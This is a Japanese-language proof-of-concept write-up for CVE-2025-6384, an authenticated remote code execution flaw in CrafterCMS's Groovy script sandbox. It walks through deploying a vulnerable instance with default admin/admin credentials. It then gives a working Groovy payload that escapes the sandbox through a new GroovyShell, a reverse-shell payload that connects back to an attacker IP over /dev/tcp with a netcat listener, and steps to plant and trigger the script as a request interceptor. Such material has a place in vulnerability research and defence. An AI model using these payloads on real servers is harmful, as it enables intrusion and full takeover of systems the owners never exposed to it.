
Groovyサンドボックスバイパスを介したCrafterCMSの認証済みRCEのPoCエクスプロイト(CVE-2025-6384)
CrafterCMS における認証済みリモートコード実行 (RCE) 脆弱性の Proof of Concept です。
開発者権限を持つ認証済みユーザーは、Crafter Studio の Groovy スクリプトサンドボックスを回避して、リモートコード実行 (RCE) を達成できます。サンドボックスは新しい GroovyShell のインスタンス化をブロックできないため、これを使用して制限のない新しい実行環境を作成できます。
公式の Docker Compose ファイルを使用して、テスト用に脆弱な CrafterCMS インスタンスをすばやくデプロイできます。
CrafterCMS から docker-compose リポジトリをクローンします:
git clone https://github.com/craftercms/docker-compose.git
オーサリング環境ディレクトリに移動します:
cd docker-compose/authoring
コンテナを起動します。これにより必要なイメージがダウンロードされ、CrafterCMS スタックが起動します。
docker-compose up
(sudo が Docker のインストール状況によっては必要になる場合があります。)
サービスが完全に初期化されるまで待ちます。Crafter Studio には http://localhost:8080/studio でアクセスできます。
adminadminサンドボックスは直接の実行メソッドを正しくブロックしますが、次のペイロードは許可されます。これにより、サンドボックス化されていない新しい Groovy シェルが作成されます。
// File: /scripts/interceptors/pwn.groovy
def shell = new GroovyShell()
def command = "id" // <-- Your command here
def result = shell.evaluate("'''${command}'''.execute().text")
// The output is printed to the server logs
System.err.println("[RCE-PoC] " + result)
このペイロードは、攻撃者が制御するマシンへのリバースシェルを確立することで、完全な RCE を実証します。
自分のマシンで、受信接続を受け取るリスナーを起動します (例: netcat を使用):
nc -lvnp 4444
次の Groovy スクリプトをペイロードとして使用します。リスナーの IP アドレスとポートに <YOUR_IP> と <YOUR_PORT> を置き換えることを忘れないでください。
// File: /scripts/interceptors/exploit.groovy
def attacker_ip = "<YOUR_IP>"
def attacker_port = "4444" // Or <YOUR_PORT>
def cmd = "bash -i >& /dev/tcp/" + attacker_ip + "/" + attacker_port + " 0>&1"
def shell = new GroovyShell()
// Use triple quotes to handle the command string easily
shell.evaluate("""
new ProcessBuilder("/bin/bash", "-c", "${cmd}").start()
""")
System.err.println("Reverse shell payload executed.")
デフォルトの認証情報 (admin / admin) で Crafter Studio (http://localhost:8080/studio) にログインします。
Site Config -> Scripts に移動します。
「Groovy Scripts」セクションの Create/Edit Script をクリックします。
実行されるスクリプトタイプ (例: Request Interceptor) を選択します。
PoC ペイロードをスクリプトエディタに貼り付けて保存します。
Web サイトの任意のページ (例: http://localhost:8080) にアクセスしてスクリプトをトリガーします。
サーバーの標準エラーログを確認して、コマンドの出力を確認します。
docker-compose logs -f crafter
期待される出力:
GroovyShell: uid=1000(crafter) gid=1000(crafter) groups=1000(crafter)
netcat リスナーを確認します。コンテナからのシェルセッションが届いているはずです。
この資料は教育および研究目的のみで提供されています。著者は、この情報によって引き起こされた不正使用や損害について一切の責任を負いません。
